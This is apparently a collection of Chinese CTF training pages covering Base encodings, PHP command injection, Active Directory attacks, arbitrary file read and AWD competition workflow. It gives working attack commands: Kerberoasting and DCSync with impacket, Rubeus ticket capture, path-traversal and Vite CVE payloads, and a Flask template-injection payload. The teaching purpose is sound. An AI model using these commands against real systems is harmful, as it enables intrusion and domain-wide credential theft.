以将flag通过 Base58 编码为例:

对于给定的一个字节数组 $B = [b₀, b₁, b₂, ..., bₙ₋₁]$ ,可以将其视为一个大整数 $V$ :

$$V = b₀ × 256ⁿ⁻¹ + b₁ × 256ⁿ⁻² + ... + bₙ₋₂ × 256¹ + bₙ₋₁ × 256⁰$$

其中:

  • $b₀$ 是最高位字节(最左侧字节)
  • $bₙ₋₁$ 是最低位字节(最右侧字节)
  • $256 = 2⁸$(一个字节的取值范围)

就本例而言,字节数组 $B = ['f','l','a','g']$ ,计算(其中 ord() 表示对应字符的ASCII码):

$$V = ord('f') \times 256^3+ord('l') \times 256^2+ord('a')\times 256+ord('g')$$

可以得出 $V=1718378855$ 。

之后就是不断地取余和整除了,标准流程如下:

标准 Base58 编码表: 123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz 。

$$
\begin{cases}
r_k = V_k \bmod 58 & \text{(取余数作为当前位的索引)} \
V_{k+1} = \left\lfloor \dfrac{V_k}{58} \right\rfloor & \text{(取商用于下一轮计算)}
\end{cases}
$$

当满足以下条件时,停止迭代:

$$
V_{k+1} = 0
$$

我们来代入一下过程:

$$
\begin{aligned}
r_0 &= \text{V} \bmod 58, &\quad \text{char}_0 &= \text{base58_alphabet}[r_0] = \text{'e'}, &\quad \text{V} &:= \left\lfloor \frac{\text{V}}{58} \right\rfloor \
r_1 &= \text{V} \bmod 58, &\quad \text{char}_1 &= \text{base58_alphabet}[r_1] = \text{'A'}, &\quad \text{V} &:= \left\lfloor \frac{\text{V}}{58} \right\rfloor \
r_2 &= \text{V} \bmod 58, &\quad \text{char}_2 &= \text{base58_alphabet}[r_2] = \text{'9'}, &\quad \text{V} &:= \left\lfloor \frac{\text{V}}{58} \right\rfloor \
r_3 &= \text{V} \bmod 58, &\quad \text{char}_3 &= \text{base58_alphabet}[r_3] = \text{'r'}, &\quad \text{V} &:= \left\lfloor \frac{\text{V}}{58} \right\rfloor \
r_4 &= \text{V} \bmod 58, &\quad \text{char}_4 &= \text{base58_alphabet}[r_4] = \text{'c'}, &\quad \text{V} &:= \left\lfloor \frac{\text{V}}{58} \right\rfloor \
r_5 &= \text{V} \bmod 58, &\quad \text{char}_5 &= \text{base58_alphabet}[r_5] = \text{'3'}, &\quad \text{V} &:= \left\lfloor \frac{\text{V}}{58} \right\rfloor = 0
\end{aligned}
$$

逆序拼接之后,我们可以得到最终的编码结果:

$$
\text{char}_5\ \text{char}_4\ \text{char}_3\ \text{char}_2\ \text{char}_1\ \text{char}_0 = \text{'3cr9Ae'}
$$

同样的,我们依旧可以使用 CyberChef 实现 Base58 编码的解码:

??? Question "是否有Base家族的成员选择了除"按位切分"和"大整数除法"之外的方案?"
emm……其实是有的,比如 Base85 。
实际上 Base85 用的是分组块运算 ——这是一种介于两者之间的方案:每 4 个字节作为一组,通过大整数除法转换为 5 个字符。
它是在小块上做进制转换,而不是把整个输入当成一个大整数处理。

识别方式

这里以带 padding 的 Base64 为例: Base64 编码后的字符串具有以下特征:

  • 末尾可能有 = 或 ==

  • 长度是 4 的倍数

同时 Base 系列编码的核心特征是 字符映射表 的存在。

在二进制程序中,该字符集通常以连续内存块的形式存在:

如图所示,红框内即为标准 Base64 字符表。在实战分析中,也可能遇到 魔改版本 :

$$
\mathcal{A}_{64}' = \text{自定义字符集(通常基于标准集置换)}
$$

但字符集长度恒为 64 这一数学特征保持不变。

以下是一些 Base64 编码的数据示例:

text
aGVsbG8gd29ybGQ=
aGVsbG9fY3RmX2lsb3ZlX2N0Zg==
ZmxhZ3tUcnlfVG9fRmlndXJlX091dH0=
aGVsbG9DVEZ7RW5jb2RlX0FuZF9EZWNvZGV9

!!! Note "请不要迷信经验主义"
存在字符表确实是 Base 家族一定有的特征,但这并不代表存在字符表就一定使用了 Base 家族的编码。
实战分析中建议结合处理算法进行综合研判,不然很可能会出现“聪明反被聪明误”哦~

由于手动记忆各类 Base 编码特征较为繁琐,可使用自动化工具进行识别。

Findcrypto 插件通过以下方式检测加密算法:

  • 扫描常量特征(如字符表、初始向量)
  • 匹配算法特定常数(如 Base64 的字符集哈希值)
  • 识别循环结构中的位运算模式

关于该插件的安装与使用,感兴趣的话读者可以自行探索。

!!! Abstract "还是那句话"
不顺手的工具终究只会是负担。


Hc Web CodeExecution (`docs/hc-web/CodeExecution.md`)


comments: true

代码执行

代码执行-概述

「任意代码执行(Arbitrary Code Execution,ACE)」 是指攻击者在目标计算机或目标进程中运行攻击者选择的任何命令或代码的能力,这是一个广泛的概念,它涵盖了任何类型的代码运行过程,不仅包括系统层面的脚本或程序,也包括应用程序内部的函数或方法调用。

在此基础上我们将通过网络触发任意代码执行的能力通常称为 远程代码执行 「远程代码执行(RCE,Remote Code Execution,RCE)」。

「命令执行(Command Execution)」 通常指的是在操作系统层面上执行预定义的指令或脚本。这些命令最终的指向通常是系统命令,如Windows中的CMD命令或Linux中的Shell命令,这在语言中可以体现为一些特定的函数或者方法调用,如PHP中的shell_exec()函数或Python中的os.system()函数。

「代码执行(Code Execution)」 同我们最开始说到的任意代码执行,在语言中可以体现为一些函数或者方法调用,如PHP中的eval()函数或Python中的exec()函数。

虽然在很多教学场景,命令执行 和 代码执行 经常被用同一个缩写 RCE (Remote Code/Command Execution) 来指代,但显而易见的是,代码执行是更为广泛的概念。

在本章节的内容,我们将以 PHP 为例,从审计的角度来讲解代码执行,在阅读前,请完成前置知识 - PHP基础。

代码执行-成因

在某些特殊场景,我们可能需要让我们的脚本去调用一段特定的模板代码,甚至是一些外部程序。

尤其是在Web层面的局限的情况,需要突破代码层面到系统命令去执行特定的命令或者二进制文件,这时我们可能会使用类似 PHP 中 shell_exec() 函数来调用系统命令,而碰巧的是,命令所带的参数是由用户输入的,如果我们没有对输入进行检查,那么通过特殊的拼接构造,就能做到一些非预期的执行结果,这就导致了代码执行。

在 CTF 考题中,代码执行通常以功能性题目出现,比如最著名的 ping 命令的 "存活检测":

php
<?php
    $ip = $_GET['ip'];
    $result = shell_exec("ping -c 4 $ip");
    echo "<pre>$result</pre>";
?>

在这个例子中,我们的输入会被当做参数传递给 ping 命令,而大多数的终端都是支持连续执行多个命令的,这里假设题目在 Linux 的容器中运行,那么我们可以通过 ; 来执行多个命令,比如 127.0.0.1;ls,这样就能够执行 ping 命令和 ls 命令。

代码执行-函数

在 Web 应用程序中,我们通过脚本去执行特定代码或者系统命令,本质上是一种函数调用,比如我们看下面两个函数例子:

  • eval() 函数: 将字符串作为PHP代码执行。 —— 像这类函数都属于代码执行的函数。
    php
    eval("echo 'Hello CTF';");
    - - - - -
    <?php
        $code = 'echo "Hello CTF";';
        eval($code);
    ?>
  • system() 函数: 执行外部程序并且显示输出。 —— 对比代码执行函数,这一类函数是指定用于外部程序调用(也就是命令执行)的代码函数。
    php
    system('ls');
    - - - - -
    <?php
        $cmd = 'ls';
        system($cmd);
    ?>

其他函数见下图,具体用法可参考 PHP 官方文档。

代码执行-语法准则

在题目可能遇到的代码执行的情况,根据遇到的语言类型,运行平台,无非三种:代码层面上的代码执行,这与涉及的语言语法有关;系统层面上的命令执行,这取决于代码运行的平台 —— 是WIndows还是Linux,是 CMD 还是 Bash / Dash ...

代码执行

比如这段代码$result = eval("Template_code $parameters"); ,显而易见的PHP代码对吧,如果我们想要利用这个漏洞,就要从PHP的语法出发去构造$parameters;

同理如果是其他语言类似的代码,如 Java,$result = Runtime.getRuntime().exec("Template_code $parameters"); ,这时便需要从Java的语法出发去构造$parameters。

这类漏洞本质上是考察对目标语言的熟悉程度,以及对语言语法和特性的理解。

Linux / Windows

接着看这段代码$result = shell_exec("Template_command $parameters"); ,在这里我们调用的是外部程序,这便与编程语言无关,而是取决于代码运行的平台。


Hc Web Ad Basic (`docs/hc-web/ad_basic.md`)


comments: true

域渗透入门

在内网渗透类的 CTF 赛题(尤其是大型攻防演练、AWD 后的内网环节、以及模拟企业环境的靶场)中,拿下边界 Web 服务器往往只是第一步——真正的目标藏在 Windows 域(Active Directory,简称 AD)里。本章讲清楚域渗透的基础概念和最经典的几个攻击手法,做到"够用即止":看懂题目拓扑、会识别域环境、理解 Kerberos 认证、知道每个漏洞点该用什么工具打。

域环境的基础是 Windows,建议读者先掌握本书「Web入门题单」中的基础命令,并对「敏感信息泄露」一章提到的凭据收集思路有所了解——很多域渗透的起点就是一个泄露的账号密码。

工作组与域

工作组(Workgroup)

单机、家庭和小型局域网最常见的工作模式。每台机器各自维护自己的账号数据库(SAM),账号密码只在本机有效,PC1 上的账号 admin 在 PC2 上完全不存在。管理十台机器就要维护十套账号,机器一多就是灾难。

域(Domain)

域是微软给出的集中式管理方案:把一堆 Windows 机器纳入一个"组织",由一台专门的机器——域控(Domain Controller, DC)——统一存储和管理所有账号。核心区别在于:

  • 账号存在 DC 的 NTDS.dit 数据库里,而不是各台机器本地;
  • 域内任何一台机器都可以用域账号登录,权限由 DC 说了算;
  • 管理员可以在 DC 上一条策略下发到全域所有机器。

一句话:工作组是"各管各的",域是"一个老板管所有人"。对攻击者来说,这意味着 拿下域控 ≈ 拿下整个域——所有域账号的哈希都在域控上,这既是防守方的命根子,也是进攻方的终点。

域核心概念

域控(DC)与域名

域用域名标识,形如 hack.lab、corp.com。域内主机名通常是 机器名.域名,例如 DC01.hack.lab。域控是一台安装了 AD DS(Active Directory Domain Services)角色的 Windows Server,存储着全域的账号数据库 NTDS.dit,同时通常兼任域的 DNS 服务器——这是一个非常重要的识别特征。

域用户与域组

域用户身份一般写成 域名\用户名(如 HACK\alice)或 UPN 格式 [email protected]。

记住几个关键域组就够了:

  • Domain Admins(域管理员):域内最高权限,攻击的最终目标;
  • Enterprise Admins:跨整个林(多个域组成的集合)的最高权限;
  • Domain Users:所有域用户默认都在里面;
  • Domain Computers:每台加入域的机器自动有一个机器账号,名字带 $ 后缀(如 WEB01$)。机器账号也是账号,同样有密码(每 30 天自动更换),同样可以用于认证——很多攻击手法(如约束委派利用、Silver Ticket)都要用到它。

组策略(GPO)

组策略(Group Policy Object)是域管理员批量下发配置的手段:桌面壁纸、软件安装、账号权限、脚本……全都可以通过 GPO 推送到全域机器。GPO 存在域控的共享目录 \\DC\SYSVOL 里。

对渗透的意义有两点:

  1. SYSVOL 里的 XML 配置文件历史上存在过泄露加密密码的问题(cpassword,AES 密钥被微软自己公开了),用 Get-GPPPassword 之类的工具就能解出本地管理员密码;
  2. 拿到高权限后可以篡改 GPO,给全域机器下发恶意脚本,实现批量控制。

域环境识别与域控定位

进入一台内网机器后,第一件事是搞清楚:这是不是域内的机器?域控在哪?

判断是否加入域

bash
# 查看系统信息,重点看 "Domain" 一行
systeminfo

输出中 Domain: hack.lab 表示已加域;如果是 WORKGROUP 就是工作组机器。

powershell
# PowerShell 判断(返回 True 即已加域)
(Get-WmiObject Win32_ComputerSystem).PartOfDomain

定位域控

bash
# 最直接的一条:查询当前域的域控列表
net group "Domain Controllers" /domain
bash
# 查看本机登录服务器(往往就是域控)
set logonserver
echo %LOGONSERVER%
bash
# 通过时间服务确认——域内机器默认与域控同步时间
net time /domain
bash
# 域名解析:域控通常兼任 DNS,看 DNS 指向谁
nslookup hack.lab
ipconfig /all

域控的典型特征(内网扫描时的识别依据):

  • 开放 389/636(LDAP)、88(Kerberos)、53(DNS)、445(SMB)、135(RPC)、3268(GC)端口;
  • 主机名常带 DC、AD 字样;
  • 作为 DNS 服务器被全域机器指向。

在 CTF 题目里,拓扑往往已经画出域控位置,但上述命令在"盲打"环节能帮你快速确认。

Kerberos 认证流程入门

域内的身份认证协议是 Kerberos(端口 88),它是后续 PTT(Pass The Ticket)、Kerberoasting 等一切票据攻击的基础,必须理解。

三个角色

  • 客户端(Client):想访问服务的用户/机器;
  • KDC(Key Distribution Center):密钥分发中心,就运行在域控上,内部又分为两个服务:
    • AS(Authentication Service):负责"验明正身",发 TGT;
    • TGS(Ticket Granting Service):负责"发票",发服务票据;
  • 服务端(Server):提供具体服务(文件共享、SQL Server、HTTP 等)的机器。

认证流程(图解式描述)

text
Client                      DC (KDC)                    Server
    |                           |                           |
    |-- (1) AS-REQ -----------> |                           |
    |   "我是 alice,请给我门票"  |                           |
    |                           |                           |
    | <- (2) AS-REP ----------  |                           |
    |   返回 TGT(用 krbtgt 的密钥 |                           |
    |   加密)+ 会话密钥          |                           |
    |                           |                           |
    |-- (3) TGS-REQ ----------> |                           |
    |   出示 TGT,请求访问        |                           |
    |   "cifs/WEB01" 的票据      |                           |
    |                           |                           |
    | <- (4) TGS-REP ---------- |                           |
    |   返回 ST 服务票据(用目标    |                           |
    |   服务账号的密钥加密)       |                           |
    |                           |                           |
    |-- (5) AP-REQ ---------------------------------------> |
    |   出示 ST,请求访问服务      |                           |
    |                                                     |-- (6) 验证通过,建立会话

分步解读:

  1. AS-REQ:客户端向 KDC 发起认证请求,其中包含一个用用户密码哈希加密的时间戳,证明自己知道密码;
  2. AS-REP:KDC 验证通过后返回 TGT(Ticket Granting Ticket,黄金票据的"原型")。TGT 用 krbtgt 账号的密钥加密,客户端自己解不开也没关系,它只需要"拿着"这张票去换别的票。这一步同时返回一个与 KDC 通信用的会话密钥;
  3. TGS-REQ:客户端想访问某个服务(比如 WEB01 上的 CIFS 文件共享)时,拿着 TGT 向 KDC 申请该服务的票据,请求里写明服务名(SPN,如 cifs/web01.hack.lab);
  4. TGS-REP:KDC 返回 ST(Service Ticket,服务票据)。ST 用 目标服务账号的密码哈希 加密——注意这句话,Kerberoasting 的攻击点就在这里;
  5. AP-REQ:客户端把 ST 出示给服务端;
  6. 服务端用自己的密钥解开 ST,确认客户端身份合法,建立会话。

这为什么是攻击的基础

  • 整个流程里,服务端只验证票据本身是否合法,不回域控确认。所以只要你伪造出一张合法的票据(黄金票据/Silver Ticket),服务端就认——这就是 PTT(Pass The Ticket)类攻击;
  • TGT 用 krbtgt 的密钥加密,谁拿到 krbtgt 的哈希,谁就能自己签发任意用户的 TGT(黄金票据),等于域内"上帝";
  • ST 用服务账号的密码哈希加密,如果服务账号密码够弱,就能对 ST 离线爆破(Kerberoasting)。

常见域内打法概览

以下每个手法只讲思想和最典型的命令,目标是让你在 CTF 中遇到对应场景时能立刻反应"该用什么"。

Kerberoasting

思想:任何域用户都可以合法地向 KDC 申请任意服务的服务票据(ST),而 ST 是用 服务账号的密码哈希 加密的。把 ST 导出后离线爆破,就能还原出服务账号的明文密码。攻击门槛极低——只需要一个普通域用户。

前提:目标服务账号配置了 SPN(服务主体名),通常是运行 SQL Server、IIS 等服务的域账号。

bash
# 请求所有 SPN 账号的服务票据并导出为可爆破格式
impacket-GetUserSPNs hack.lab/alice:'Passw0rd!' -dc-ip 10.0.0.10 -request

# hashcat 爆破(RC4 类型的票据,模式 18200)
hashcat -m 18200 spn.hash rockyou.txt

防御方视角的加固也很简单:服务账号用超长随机密码或 gMSA,就不会被爆出来。反过来,CTF 里一旦拿到服务票据,rockyou.txt 跑一跑大概率能出。

AS-REP Roasting

思想:Kerberos 的 AS-REP 阶段要求客户端先用密码加密时间戳"自证身份",这叫 预认证(Pre-Authentication)。如果管理员手滑给某个账号勾上了"Do not require Kerberos preauthentication"(不需要预认证),那么任何人——甚至 不需要任何凭据——都可以向 KDC 索要这个账号的 AS-REP 数据,其中包含用该账号密码哈希加密的密文,同样可以离线爆破。

与 Kerberoasting 的区别:Kerberoasting 需要一个域用户凭据(申请 ST 要先有 TGT),AS-REP Roasting 连凭据都不需要。

bash
# 枚举指定用户列表中不需要预认证的账号并导出密文
impacket-GetNPUsers hack.lab/ -usersfile users.txt -dc-ip 10.0.0.10 -format hashcat

# 若已有任一域凭据,直接枚举全域
impacket-GetNPUsers hack.lab/alice:'Passw0rd!' -dc-ip 10.0.0.10 -request

# hashcat 爆破(模式 18200,与 Kerberoasting 相同格式)
hashcat -m 18200 asrep.hash rockyou.txt

委派问题概述(非约束委派)

委派(Delegation) 解决的是"服务替用户办事"的问题:用户访问前端 Web 服务器,Web 服务器需要拿用户的身份去访问后端数据库——这就需要用户把凭证"委托"给 Web 服务器。

非约束委派(Unconstrained Delegation) 是最粗暴的实现:用户访问一台配置了非约束委派的机器时,会把自己的 TGT 直接存进这台机器的内存。这台机器随即可以用这个 TGT 冒充用户访问任何服务。

攻击思路:

  1. 找出一台配置了非约束委派、且被你控制(已拿下或有漏洞)的机器;
  2. 在上面监控/导出进入的 TGT(用 Rubeus 的 monitor 功能);
  3. 想办法诱导域控或高权限用户访问这台机器(比如经典的 Printer Bug / PetitPotam 强制域控回连),它的 TGT 就到手了;
  4. 拿着域控机器账号的 TGT 做 DCSync,导出全域哈希,游戏结束。
powershell
# Rubeus 监控进入本机的票据(需管理员权限)
Rubeus.exe monitor /interval:5 /filteruser:DC01$

# 拿到票据后注入当前会话使用(PTT)
Rubeus.exe ptt /ticket:base64编码的票据

一句话:非约束委派 = 这台机器上会自动"捡到"来访用户的 TGT,捡到谁的就能冒充谁。

约束委派

约束委派(Constrained Delegation) 是微软对非约束委派的"打补丁"版本:服务只能代替用户访问 指定的 服务,而不是任意服务。它依赖两个 Kerberos 扩展:

  • S4U2Self:服务可以"自称"某用户,向 KDC 申请一张该用户访问自己的票据;
  • S4U2Proxy:拿着上面这张票据,向 KDC 换取该用户访问指定后端服务的票据。

攻击思想:如果你拿下了一个配置了约束委派的服务账号(比如通过 Kerberoasting 爆出了它的密码),就可以利用 S4U2Self + S4U2Proxy 这条链路,冒充域管理员访问被允许委派的后端服务——而后端服务往往就是域控上的 CIFS/LDAP,拿下即等于拿下域控。

bash
# 用约束委派账号请求域管理员访问域控 CIFS 的票据
impacket-getST -spn 'cifs/DC01.hack.lab' \
  -impersonate 'administrator' \
  'hack.lab/web-svc:ServicePass123!' -dc-ip 10.0.0.10

# 设置票据缓存后直接用(Linux 下 PTT)
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass hack.lab/[email protected]

还有更复杂的 基于资源的约束委派(RBCD),核心思想相同:利用委派配置的信任链伪造票据。CTF 里遇到"某个账号密码已知 + 配置了委派"的场景,条件反射就该想到这条链。

一张速查表

手法 前置条件 结果
Kerberoasting 任一域用户凭据 爆出服务账号明文密码
AS-REP Roasting 无(账号未启用预认证即可) 爆出目标账号明文密码
非约束委派 控制一台配置非约束委派的机器 截获访问者的 TGT,PTT 横向
约束委派 拿下配置约束委派的服务账号 冒充管理员访问后端服务

BloodHound 信息收集简介

域一大、机器一多,"谁是谁的管理员、谁能委派到谁、哪条路径通向域管"靠人脑根本理不清。BloodHound 就是把域内所有关系画成一张图的工具,让你一眼看出从当前立足点到域管的最短攻击路径。

工作原理

BloodHound 分两部分:

  1. 收集器 SharpHound:在域内机器上运行(C# 版)或用 bloodhound-python 在攻击机上远程采集,通过 LDAP、SMB 等协议收集域内对象——用户、组、计算机、GPO、ACL、登录会话、委派关系等,导出为 zip(内含一堆 JSON);
  2. 图数据库 + 前端:把 zip 导入 Neo4j 数据库,BloodHound 前端以节点-边图展示关系,内置大量查询(如"Shortest Path to Domain Admins"——到域管的最短路径)。
bash
# 远程采集(不需要在域机器上落地文件)
bloodhound-python -u alice -p 'Passw0rd!' \
  -d hack.lab -dc DC01.hack.lab \
  -c All --zip

# 或在域内机器上运行 SharpHound
SharpHound.exe -c All --zipfilename bloodhound.zip

导入后在查询框里点 "Shortest Path to Domain Admins",它会直接画出类似这样的路径:

text
alice → (GenericWrite) → svc-web → (AllowedToDelegate) → DC01 → Domain Admins

每一条边都对应一种可利用的关系(写权限、委派、组嵌套、本地管理员……),顺着边打就行。

CTF 中的实用提示

  • 大型内网靶场题中,BloodHound 基本必用,"最短路径"查询通常是解题钥匙;
  • 关注 DCSync、GenericAll、WriteDacl、AllowedToDelegate 这几类高危边;
  • 数据有时效性:收集的时间点不同,会话(Session)信息会变化,路径可能时有时无。

例题实战:从 Web 入口到域控

下面是一道典型的内网综合题的完整思路,把本章知识点串起来。题目拓扑:边界一台 Web 服务器(工作组机器,双网卡),内网是一个 hack.lab 域(DC01 为域控,IP 10.0.0.10,另有数据库服务器 SQL01)。

第一步:Web 打点。 边界 Web 站存在文件上传漏洞(利用思路见本书「文件上传」一章),上传 WebShell 后执行命令,用 Potato 类工具提权拿到 SYSTEM。建立隧道,把内网流量代理进攻击机。

第二步:信息收集,识别域环境。 在 Web 服务器上翻到一个配置文件 web.config,里面有数据库连接串:

xml
<connectionStrings>
  <add name="db" connectionString="Server=SQL01.hack.lab;Database=app;
       User Id=svc-sql;Password=Sql@2024!"/>
</connectionStrings>

SQL01.hack.lab 这个域名后缀暴露了内网域名 hack.lab。顺着「敏感信息泄露」的思路,把凭据 svc-sql / Sql@2024! 记下来。

第三步:域控定位与验证。

bash
# 通过代理对内网定位域控
crackmapexec smb 10.0.0.0/24
# 输出中 DC01 的签名和域名列会标明它是域控

第四步:Kerberoasting。 手头的 svc-sql 是域账号(连接的是域内 SQL Server),先试它能否认证域,再用它(或任一域凭据)发起 Kerberoasting:

bash
impacket-GetUserSPNs 'hack.lab/svc-sql:Sql@2024!' -dc-ip 10.0.0.10 -request

导出一张 http/webbackup.hack.lab 服务账号 svc-backup 的票据,hashcat 爆破:

bash
hashcat -m 18200 spn.hash rockyou.txt
# 爆出:Backup@123

第五步:BloodHound 找路径。 用新凭据采集域信息:

bash
bloodhound-python -u svc-backup -p 'Backup@123' -d hack.lab -dc DC01.hack.lab -c All --zip

导入后发现:svc-backup 账号配置了到 DC01 上 cifs 服务的 约束委派。

第六步:约束委派攻击,拿下域控。

bash
# 冒充域管 administrator 申请访问 DC01 CIFS 的票据
impacket-getST -spn 'cifs/DC01.hack.lab' -impersonate 'administrator' \
  'hack.lab/svc-backup:Backup@123!' -dc-ip 10.0.0.10

export KRB5CCNAME=administrator.ccache

# 用票据直接 DCSync,导出全域哈希(krbtgt、administrator 全到手)
impacket-secretsdump -k -no-pass hack.lab/[email protected]

第七步:拿 flag。 flag 在域控桌面:

bash
impacket-wmiexec -k -no-pass hack.lab/[email protected]
# C:\> type C:\Users\Administrator\Desktop\flag.txt
# flag{4d_penetrati0n_from_web_t0_dc}

复盘:Web 漏洞打点 → 配置文件泄露域凭据 → Kerberoasting 爆破服务账号 → BloodHound 发现委派路径 → 约束委派冒充域管 → DCSync 拿下全域。每一步都对应本章的一个知识点。

小结与延伸

本章讲了域渗透的骨架:域的本质是集中式账号管理,域控是全域的核心;Kerberos 认证中 TGT/ST 的加密密钥决定了攻击面——krbtgt 密钥失守就是黄金票据,服务账号密钥弱就被 Kerberoasting;委派机制的设计缺陷让"服务替用户办事"变成了权限提升的跳板;BloodHound 把复杂的信任关系变成一张能看懂的图。

想继续深入,可以按这个顺序补:PTT 与金银票据的细节、DCSync 与 NTDS.dit 的提取、ACL 滥用(DCSync 权限、GenericAll)、以及 Exchange、AD CS(证书服务)等新攻击面。工具链上,Impacket 全家桶 + Rubeus + BloodHound 足以应付绝大多数 CTF 域渗透场景。


Hc Web Any File Read (`docs/hc-web/any_file_read.md`)


comments: true


任意文件读取

双写绕过

发现 file 参数是文件名形式

尝试直接读取 /etc/passwd 无果

js
?file=../../../../../etc/passwd

双写可以绕过

js
?file=....//....//....//....//....//etc/passwd

换成 /flag 通关

js
?file=....//....//....//....//....//flag

JSP 网站敏感文件遍历读取

打开网页

点击提示,用 JSP 写的网站,给的是一个下载接口,需要 POST 请求

编写脚本遍历一些常见的敏感文件

python
import requests

def test_download(filename):
    url = "http://challenge.qsnctf.com:31930/DownloadServlet"
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Accept-Charset': 'UTF-8'
    }
    data = {'filename': filename}
    
    response = requests.post(url, data=data, headers=headers)
    
    print(f"Testing {filename}")
    print(f"Status: {response.status_code}")
    print(f"Content-Type: {response.headers.get('Content-Type', 'Not Set')}")

    # 如果是 class 文件,保存下来
    if response.headers.get('Content-Type') == 'application/octet-stream':
        filename_only = filename.split('/')[-1]
        with open(filename_only, 'wb') as f:
            f.write(response.content)
        print(f"Saved to {filename_only}")
    
    print("-" * 50)

# 测试路径
paths = [
    "WEB-INF/classes/com/ctf/file/DownloadServlet.class",
    "WEB-INF/classes/com/ctf/flag/FlagManager.class",
    "WEB-INF/classes/com/ctf/flag/flag.txt",
    "WEB-INF/classes/flag.txt",
    "WEB-INF/classes/flag",
    "../classes/com/ctf/flag/FlagManager.class"
]

for path in paths:
    test_download(path)

反编译下载的 FlagManager 文件

编写脚本解密

python
key = [110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188]

flag = []
for k in key:
    c = (k ^ 48) - ord('&')
    flag.append(chr(c))

print(''.join(flag))	# SQCTF{85caad1c-33e3-0bc1-6d5e-a73b044f7d9f}

Vite 任意文件读取(CVE-2025-30208)

CVE-2025-30208 是 Vite 开发服务器中 @fs 功能的 文件系统访问控制绕过 漏洞

攻击者只需在请求 URL 中追加 ?raw?? 或 ?import&raw?? 等参数

即可绕过 server.fs.deny 限制,读取任意文件内容,包括项目根目录外的敏感文件

text
/@fs/flag?raw??

/proc/self/ 当前进程信息利用

访问环境,任意输入 ls

网页将我们的输入值 ls 打印出来,可能存在模板注入

进一步进入 article 界面,测试 flag,模板注入 {{1+2}}

注意到输入为 {{1+2}} 时给出了路径

开始尝试路径穿越 ../../../../../../../etc/passwd,获得 passwd 文件值

利用 /proc/self/environ 获取当前程序的环境变量

猜测 flag 存在于 /home/sssssserver/flag,但是还是显示无权限

利用 /proc/self/cmdline 获取当前程序命令行记录,发现 python server.py 命令,典型的使用了 flask 或 Django

进一步利用 /proc/self/cwd 获取当前进程目录,通过 /proc/self/cwd/server.py 得到源码 server.py

text
/* Detailed source-code truncated for AI context efficiency. */

在 key.py 中得到密钥

text
key = 'Drmhze6EPcv0fN_81Bj-nA'

到这里时借用 Wilson Sumanang, Alexandre ZANNI 大佬的 flask session hack 脚本

shell
python flask_session_cookie_hack.py decode -c {cookie} -s {secert_key}

执行解密脚本

然后把 {'n1code': None} 换成读文件 flag.py 的代码,加密回去

python
{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[40](\'flag.py\').read()}}'}

得到 cookie 值,修改网页 cookie 值,在表单填入任意值,完成对 session['n1code'] 的修改


Hc Web Awd (`docs/hc-web/awd.md`)


comments: true

AWD模式

「攻防模式 | AWD (Attack With Defense)」是 CTF 线下赛最常见的模式之一:每个队伍拿到一台 完全相同 的靶机(GameBox),上面跑着有漏洞的 Web 服务。你既要去打别人的服务拿 flag,也要修好自己服务上的漏洞防止被打。本章站在 Web 方向初学者的角度,把「规则 → 开局 → 修复 → 维持 → 分工 → 工具」整条链路讲一遍,目标是让你第一次上 AWD 赛场时不会手足无措。

AWD 的总体介绍可以配合「AWD介绍」一章阅读,更多奇技淫巧见「【WEB】AWD技巧」,本章侧重 可落地的标准流程。

赛制规则与计分逻辑

不同比赛的细则略有差异,但核心都是三样东西:flag、check、回合(round)。

  • 回合制:比赛按回合推进,常见为每 5~10 分钟一个回合。每个回合 flag 会刷新一次(或者刷新提交冷却),所以偷来的 flag 要 当回合内提交,过期作废。
  • 攻击得分:你利用漏洞从别人的服务里读出 flag,并提交到平台的 flag 提交接口,得分。通常采用零和积分——你加的分就是从被打穿的队伍身上扣的分。
  • 服务可用性(check):主办方会周期性检查你的服务是否正常。检查内容一般是:页面能正常访问、核心功能(登录、下单、留言……)能跑通、flag 能被 checker 正常读取。check 不过会扣分,而且往往扣得比被打一次还多。
  • 流量/异常检测:部分比赛还设有「异常行为扣分」,比如你的服务响应了非预期内容。

由此得到 AWD 的第一性原理,请务必刻在脑子里:

修复的前提是 check 不能挂。 一个被打穿但能跑的服务,比一个安全但宕机的服务值钱得多。一切防御动作都要先问一句:这样改 checker 还能过吗?

其次要搞清楚三件事再动手(开赛前向主办方确认或读规则文档):

  1. flag 的格式和位置(flag{...}?在数据库里还是在文件里?);
  2. flag 提交方式(平台页面?HTTP API?提交频率限制?);
  3. 你能对自己的机器做什么(能否 SSH 上去?能否重启服务?能否改配置重启 PHP-FPM?)。

开局流程

开局前 15 分钟基本决定整场比赛的走向。标准动作顺序:备份 → 找洞 → 打点 → 修复。

第一步:备份源码

拿到机器第一时间把网站目录整个拖回来。被打坏、自己改挂、或者想回滚时,这是你唯一的后悔药。

bash
# 在靶机上打包(如果给了 SSH 权限)
ssh [email protected] 'tar czf /tmp/www_backup.tar.gz -C /var/www html'

# 拉回本地
scp [email protected]:/tmp/www_backup.tar.gz ./backup_round0.tar.gz

在本地留一份 原始未改动 的副本,另开一份工作目录去改,改完用 diff -ru 确认自己到底动了哪些文件:

bash
diff -ru backup_html/ html/

同时也把数据库导出一份(如果 flag 在数据库里,备份数据库等于备份了 flag 的结构):

bash
mysqldump -u root -p'密码' --all-databases > db_backup.sql

第二步:快速审计找洞

AWD 的题都是批量生成的,漏洞通常 很直白:一个宽口径的 SQL 注入、一个无过滤的上传、一句 eval($_POST['cmd'])、一个硬编码的弱口令后台。用「PHP代码审计」一章的方法,配合 grep 一把梭:

bash
cd html/
# 找危险函数
grep -rn --include='*.php' -E 'eval|assert|system|exec|shell_exec|passthru|popen|proc_open|file_put_contents|fwrite' .
# 找文件操作/包含
grep -rn --include='*.php' -E 'include|require|file_get_contents|unlink|copy|move_uploaded_file' .
# 找 SQL 拼接
grep -rn --include='*.php' -E '\$_(GET|POST|REQUEST|COOKIE)' . | grep -iE 'select|insert|update|delete'

对应漏洞的利用细节分别参见「SQL注入」「文件上传」「文件包含」「RCE」各章,这里不再展开。AWD 里只需要找到一个能稳定读 flag 的洞就够了,不需要挖全。

第三步:批量打点脚本

